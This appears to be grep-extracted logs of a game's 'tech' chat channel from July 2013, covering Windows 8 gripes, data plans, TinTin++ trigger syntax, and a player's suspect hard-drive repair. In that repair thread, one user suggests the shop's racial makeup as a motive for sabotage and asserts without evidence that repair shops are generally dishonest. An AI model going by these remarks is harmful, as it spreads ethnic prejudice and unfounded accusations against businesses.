T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: If it does not have touchscreen, then it will.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Mye Tech: you should switch to windows server 2012, then
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: Not to mention, Windows 8 is now 8.1
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i download classic shell to skip the metro screen
T3/r7/2013-07-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: win8, no complaints oter than its not as good as win7
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and guess what?  It's impossible to have a weather program/gadget to put weather on my desktop.  How pathetic is that.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Hanslanda Tech: they stopped that a long time ago, when Win7 was new.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: want weather?  have to go to the metro screen and do their weather app
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: About as bad a iPads/iPhones/iPods/iWatch
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: an guess what?  picture screen saver isn't smart enough to ID picture sin subfolders
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I mean really basic, normal CONSUMER stuff
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Dralix Tech: thanks for the link Turie
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: We return to the Kojiro complaint hour on the Tech Channel. Today's topic: Windows 8 Sucks.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Dralix Tech: skimmed it a bit, and seems to have the answers I need, will read the whole thing later
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto nods at Turie and says, "I concur." Why didn't you?!
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why would I ever want to upgrade an LTE phone like the note/S4/iphone, anyway?  Isn't innovation basically maxxed out now?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: Wait till 5G LTE
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i.e. shouldn't people be taking their business to prepaid plans en masse?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Hanslanda Tech: that's the trend right now, Koji.  That and getting rid of unlimited everything.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it's like a nook e-reader / kindle.  When would ever NEED to upgrade it?  Never.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: Unlimited is still with T-Mobile and Sprint I think
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: well, why not have both.  I don't even know how to check data usage.  Grandfathered under ATT unlimited data and never looked back, but def overpaying.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: don't think Tmo has an LTE network
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: can you tether with unlimited data plans?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Xaeris Tech: truly, what do you need unlimited data for?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Xaeris, in complete agreement.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: by tether you mena make the phone a hotspot?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Hey, I have a real tech question
T3/r7/2013-07-18.txt.gz:{chan ch=tech}ElFeneri Tech: I use unlimited data. I steam music when I'm on the move.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}ElFeneri Tech: or need unlimited data.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}ElFeneri Tech: stream*
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: If you want Unlimted Data/Text with 100 minutes of talk, go to T-Mobile and get the pay as you go for $30 a month
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Hanslanda Tech: Tmobile is claiming that the latest iphones run faster on their network.  Are you sure they don't have an LTE net?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i have a PC connected via ethernet to a wireless router.  if I log on a Macbook Air wireless, it kills my wired connection.  Why is this?? 
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Xaeris Tech: run on lowest bitrate for the music, and run on a 5gb data plan.  *shrug*
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Hanslanda Tech: IP conflict, I think.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: pretty sure, hans
T3/r7/2013-07-18.txt.gz:{chan ch=tech}ElFeneri Tech: why would I want lowest bitrate?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Xaeris Tech: just saying, you don't need unlimited.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it just makes it real slow, even if the wireless connection isn't uploading/downloading anything
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Hanslanda Tech: I have this same issue, but I could never fix it because my sister's school computer was locked down by their IT people.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}ElFeneri Tech: I don't think you should be the judge of that. I need it and pay for it :)
T3/r7/2013-07-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: 4gb a mounth, thats all one should ever need
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: I used 3GB
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Hanslanda Tech: that's probably all they're gonna give you, before deciding that you use too much/are doing something nefarious and throttle you down.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so pc wired in, macbook connecting wireless.  network is secure.  wired connection gets real slow as long as wireless macbook connects
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Xaeris Tech: nothing nefarious, hans.  It's part of your contract.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: just autoconnect to wifi?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: Kojiro reminds me of the Pizzara Owner in Futurama. Complaining about something.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: who put paper clips in my pizza????????
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Hanslanda Tech: no, I mean they decide that YOU are doing something nefarious.  To avoid them getting ensnared in whatever sting will nab you, they cut you off at the knees so you go do something else instead.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: what is the command to delete all custom exits for a specific area?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Frie Tech: only choices are the room you are in or all cexits everywhere
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: ah nod thanks
T3/r7/2013-07-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: rtfm, mapper help exits
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: That is right.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: How does one use GMCP as a trigger for actions in tintin?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: That depends. Do you have anything set up to access GMCP data already?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: I'm using CheezBurger's setup.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: So if you type '#var GMCP' you get a bunch of data?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: Yep
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: Ok, good the hard part is done then.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: You can create actions (triggers) on the gmcp data being received, but that's likely to be spammy. What are you trying to accomplish?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: At 15% health flee from combat.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: I'd just use the mud command wimpy for that
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: help wimpy
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: ah! thank you!
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: If you were to create an action on receiving that gmcp data, you'd have no way of turning it off. That would inevitably cause unintended consequences.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: Ah! I was wondering about that. I prefer text triggers to not. GMCP was confusing me. I guess I best leave it alone. Thank you.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: Just so you know though, you can do #IF {$GMCP[CHAR][VITALS][hp] <= blah } {thing to do if less than blah} {thing to do otherwise}
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: Where 'blah' is the disired hp (not percentage) to flee below, keeping in mind the 'thing to do otherwise' is optional
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: I think you will also have a simplified variable called 'hp_percent' that you could use as well
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: Awesome! Duely noted! What if the do otherwise was just to do nothing?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: It's optional so you could omit it entirely or put in a #nop (which stands for no operation) if you are picky about your syntax
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: Thank ye' kindly sir! You are both a hero and a scholar!
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: If you ever have any other tintin questions you don't get answered here feel free to note me or send tells.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: It happens to be one of the things I never get tired of jabbering about
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: I am indebted to your generosity! Beware my future spam messages coming your way!
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: In tt++, how would one go about writing a statement along the lines #if {this=true and this=true} {do this} {#nop}?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Is that not almost tt++ syntax...
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: #if {a==1 && b==2} {true response} {false response}
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: #help math for more operators
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: I thought I tried that without success.. but I didn't use the two = signs.. I'll give it another go.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: If the values you are trying to match aren't digits you'll need quotes so:
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: #if {$var1 == 'blah' && $var2 == 'bleh'}
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: this won't work cause it will spam the mess out battle.. but #act {MyHp} {#if {100.00<100 && {100.00>10} {c 'cure light'} {#nop}}sleep
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: = to set a value or Statement.  == to check a value or statement. remember that the == is read only
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: Where are you getting the pattern 'MyHp' from? Is that from a prompt or something?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: how difficult would it be to create a variable that would indicate if one had a queued list of commands?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: Do you mean commands you have sent to the mud that the mud hasn't processed yet because of lag from someting else? Am I understanding you correctly?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: If I understand you correctly it would be Medium-High difficulty.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: Would take a combination of #event {received input}, #list, and an action off the mud output from echocommands, and some gagging to spare you the spam of having echocommands on all the time.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ixle Tech: At least that's the first solution that jumps out at me.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: I bleive that is what I was looking for. Thank you. Clearly I am only an experimental programmer. But I appreciate your help.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zoee Tech: hello there
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zoee Tech: any tech wizard out there?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: I think it would depend on the question.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: If you have a question, just ask. The Wizard is still setting up his machine.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zoee Tech: hey! question is about bast eq plugin. i have it installed buy every time i quit and start mush client again it disappears and i need to re-install.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Tech: Cosrin casts magic missle at his computer!
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Tech: Zoee laughs out loud.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Tech: Hollister laughs out loud.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: I've never experienced that sorry I can't be of help
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: Nor hav I.. I'm running tt++ in linux :(
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zoee Tech: no worries. i think i keep reinstalling it every time!
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: You could google your problem. I'm sure someone else has had that problem
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zoee Tech: will try google now
T3/r7/2013-07-19.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: =h 10
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: anyone here familiar with Java?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Tech: Cosrin raises his hand excitedly and says 'Ooo! Ooo!' and then a sudden realization crosses his face, followed by a look of disappointment... He meant a programming language... not coffee.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: hahahahaha
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: so I know what "&&" means. but what does "||" mean?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: or?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ayasinda Tech: or
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Tech: Hollister shrugs helplessly.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: oh, cool. thanks
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: Do some know if the Android 2.3 ginger bread operating system an app support to play aard on?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Cosrin Tech: wouldn't know... sorry.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: ahh ok np ty
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ayasinda Tech: can't you use the blowtorch aard on it?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: oh blowtorch, thanks I'll look for it Ayasinda
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ayasinda Tech: look for aardwolf in the playstore
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: kewl will do
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: once in a blue moon I get a movie that doesn't want to read it makes this funny green blocks Although when I put the cd into my dvd player it works, is there something wrong with my pc?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Frolo Tech: should be the encoding, your pc doesn't have the right codecs loaded, if you are taking about mpeg movies, if you are talking about dvd no idea
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: talking about dvd's
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Frolo Tech: bad dvd program, your dvd rom/ram is a bad model or breaking down?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: some dvd drives and some dvd players and some dvds are set to a specific regions
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: could be my rom. but it only happens with some dvd's
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: yeah but I buy it like at musica in my country
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Frolo Tech: perhaps these dvd's are copy protected and your drive i to good or to bad to recognize the errors of the copy protection
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Has anyone come up with a fancy way of switching off an always on aard connection while you connect on your phone, but have it come back up once you're done?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So far I've come up with remoting into my router to dc my aard machine while I use my phone, and then reconnect once I'm done - works, but kinda clunky
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: how do you propose to notify the home client that you're no longer connected via phone?  if it connects to check, it will boot your phone connection.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}WarPigs Tech: answer "no" to the prompt?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: which prompt?  it doesn't know you're connected until it connects.  then you see a "reconnected" message instead of the usual content.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}WarPigs Tech: It doesn't prompt, "Do you wish to rejoin your physical form?" before kicking the other connection?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: don't believe so, no.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}WarPigs Tech: When does it prompt that? I know it does or I wouldn't have a trigger for it...
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: think the only times i've ever seen that was when coming back from lnikdead back when limbo was still around
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I've never seen the message.  I don't go linkdead though.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I do go back and forth from phone.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yeah, no message that I can see - was thinking people might have some fancy polling server trick set up already, but looks like the router hack is going to be the easiest way to do it
T3/r7/2013-07-19.txt.gz:{chan ch=tech}WarPigs Tech: Could you mplay with a character just to check your if you main is logged on or would you get nuked for something as silly as that?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ontuct Tech: I think that's still violate multiplay
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Tynrael Tech: all the characters in game are listed on the Aard site
T3/r7/2013-07-19.txt.gz:{chan ch=tech}GoatMaster Korridel Tech: Check help mplay for rules regarding multiplaying.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Alright I got a question.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Had my hard-drive replaced less than a month ago since then a few times my pc has completely frozen several times, the USB ports seem buggy, and my default gateway is having intermittent issues. Are those all signs that the new hard-drive is bad too?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Ayasinda Tech: I doný think any of those are related to HD problems
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: did you or somebody else install the new hard drive
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: It got installed by a professional computer store.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: The same professional computer store that installed a bad power port on my dads laptop at the same time.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Xantcha Tech: most of those conditions sound like a bad motherboard
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Wonder if they messed it up intentionally.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: tech maybe they replaced or swapped more than the hard drive
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: ... I didn't want to even think about that
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: How expensive is another motherboard? Another 200$?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: where are you located
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Kinda convenient something they show as fine during the diagnostic messes up nearly directly after the repair.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Florida
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: is the store run by whites or a minority -- is there any reason they may be sabotaging your computer
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Nop
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: did you buy th computer there, or merely the hard drive
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Not that I thought but they worked on 2 computers at once and the other part replaced (The same day) was bad and we waited 2 weeks for the same part to be replaced again.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Just the hard-drive
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: attempting to determine whether the coincidence is due to incompetence and or malice and or make-work
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Yeah
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: why do you return there if they are doing a suspect bad job on prior work
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: I had both computers worked on on the same day. BOTH had problems after
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: they are either incompeent or they don't like you
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: maybe both
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Mine I have not taken back, both have 30 day guarentees on the work. Since they gave me back the other computer which could not even take a charge in the first place due to the same part being defective twice I took it back.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: They fixed the issue with the other computer the second time they got to work on it.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: they also may bedfishonest, and or incompetent, and or dislike you 
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Well I think I'm gonna call HP and see if they have a record of my parts.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: they also may be dishonest, and or incompetent, and or dislike you, and or something else is going on or happening
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Then I'm going to call the better buisness buro
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You realise the BBB is a 3rd party company with no power whatsoever, right?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Who works like Yelp does, in accepting money to wipe off complaints?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you have a real issue that is not getting sorted out, take them to small claims
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Small Claims aint gonna do nothing
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What makes you think BBB will if small claims won't?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: generally call the BBB before doing business with a new company (to be forewarned) or after doing bad business with a company (to warn others)
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Because they get public attention from the BBB to warn othrs.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A company the size of HP, you really think the BBB has any clout people are going to listen to?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Reading up about your issues, it isn't the hard drive's problem anyways
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: they may've installed malware on the computer 
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ON PURPOSE
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: It wasnt fixed by HP it was a computer repair shop
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: who's doing what now?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So you believe the work to be faulty? What evidence do you base that on?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: I have avast :P
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Erm AVG :P
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: Computer Repair shops are usualy dishonest these days
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: I have eset nod32
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Mine isn't.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh wow, some people haven't ignored Zade yet :-) Conspiracy theories aside, computer repair shops are like mechanics shops - sure, they might bloat a price tag, but they usually won't break things. Nothing stopping them, though.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There's nothing at all 'new' about that though, so 'these days' is pretty silly...
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Nod, we sometimes gouge prices, but never would we purposely break something.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: some computer repair shops may (be tempted to) replace with shoddy components
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they will, however, look through your hard drive for naughty photos
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: fun on a bun
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hollister Tech: very true
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: If you have the ability, I would download a 'Hirens' .iso file from the web, and burn it to a disk.. then boot to it, and run a hard disk utility called "hard disk sentinel" and "vivard".
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: really you can't get too "shoddy" with computer components, they either work or don't
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: hirens forever
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: One will scan every sector on the drive, the other will compile your S.M.A.R.T. profile into an overall health percentage. Will also report surface damage to the drive.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: i keep it up at http
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Pei: that's not really true
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: i keep it up at http://virtual-dope.com/hirens
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: i think lemme know if that url is wrong
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: You can get very shoddy with PC components.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Capacitors come in all kinds of difeferent qualities
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: I would recommend hirens 13 if you can find it.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: ahh
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Resistors can be out of spec wildly
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Sakata Tech: Well if he looked through my hard drive for naughty photo's he's blind now.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: i have hirens 15.2 up at thst site
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: i just, i don't have 13 anymore :(
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: lost everything in the "crash of 2010"
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have a cousin who died in that crash.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well, had
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: yeah, was sad for everyone
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Her husband is super rich now because of the settlment payout, though.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: Fiendish, tell?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: reading it
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: coo
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: dvd replacement drives with defective firmware bios are sold to warehouses that sell to computer repair shops - the manufacturer cheats the warehouse cheats the repair shop cheats the customer, who then finds out on google that a risky firmware download is required
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: haha
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah man. you have to flash the firmware to wipe the brainscan wave emitting code
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: THEY'RE READING YOUR THOUGHTS, MAN
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: The NSA has no boundaries!
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: if the NSA were meddling, the dvd drives 'd work flawlessly so the customer is unaware of the firmware changes
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Don't scan me, bro!
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Pei Tech: so, Fiendish any ideas?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I responded to your tell
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have lots of ideas. I need more information.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: when a manufacturer makes mistakes, the defective merchandise somehow yet winds up on the gray market, and the do-it-yourself customer is the target
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: When a manufacturer makes a mistake, Zade ends up on the gray market.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Take the Crucial V4 256GB SSD... a piece of crap that fails after 6-9 months.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Wildkard Tech: i have one of those, i just have to reset it every once in a while
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Ive sold about 50 of those to customers and I've gotten 11 of them back for RMA.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Wildkard Tech: lol sit on the bios screen for 20 minutes then reboot
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Yes, but if I tell my customers that, what do you think they would say?
